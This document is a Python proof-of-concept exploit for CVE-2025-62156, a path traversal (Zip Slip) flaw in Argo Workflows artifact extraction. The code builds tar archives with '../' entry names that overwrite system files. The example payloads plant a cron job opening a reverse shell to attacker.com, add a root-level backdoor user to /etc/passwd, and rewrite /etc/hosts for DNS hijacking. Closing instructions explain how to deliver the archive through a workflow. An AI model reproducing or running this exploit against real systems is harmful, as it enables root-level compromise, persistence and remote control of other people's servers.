CVE-2025-62156 Argo Workflows Zip Slip路径穿越漏洞

#!/usr/bin/env python3 """ CVE-2025-62156 - Argo Workflows Zip Slip Path Traversal PoC This PoC creates a malicious tar archive that exploits the path traversal vulnerability in Argo Workflows artifact extraction. """ import tarfile import io import os def create_malicious_tar(output_path, target_path, content): """ Create a tar archive with a malicious entry that uses path traversal to write outside the intended extraction directory. Args: output_path: Path to save the malicious tar file target_path: Target file path (e.g., '../../../etc/cron.d/backdoor') content: Content to write to the target file """ with tarfile.open(output_path, 'w') as tar: # Create a tar info with the traversal path as the name info = tarfile.TarInfo(name=target_path) info.size = len(content) info.mode = 0o755 info.uid = 0 info.gid = 0 # Add the malicious entry to the archive tar.addfile(info, io.BytesIO(content.encode())) print(f"[+] Malicious tar archive created: {output_path}") print(f"[+] Target file: {target_path}") if __name__ == "__main__": # Example 1: Overwrite /etc/cron.d/backdoor for persistence cron_content = "* * * * * root bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'\n" create_malicious_tar( "exploit_cron.tar", "../../../etc/cron.d/backdoor", cron_content ) # Example 2: Add a new user to /etc/passwd passwd_content = "backdoor:$1$xyz$abc:0:0:backdoor:/root:/bin/bash\n" create_malicious_tar( "exploit_passwd.tar", "../../../etc/passwd", passwd_content ) # Example 3: Modify /etc/hosts for DNS hijacking hosts_content = "127.0.0.1 attacker-controlled.example.com\n" create_malicious_tar( "exploit_hosts.tar", "../../../etc/hosts", hosts_content ) print("\n[!] To exploit:") print(" 1. Upload the malicious tar to an accessible location (S3, HTTP, etc.)") print(" 2. Configure an Argo Workflows artifact pointing to this file") print(" 3. Execute the workflow to trigger artifact extraction") print(" 4. The malicious file will be written outside the extraction directory")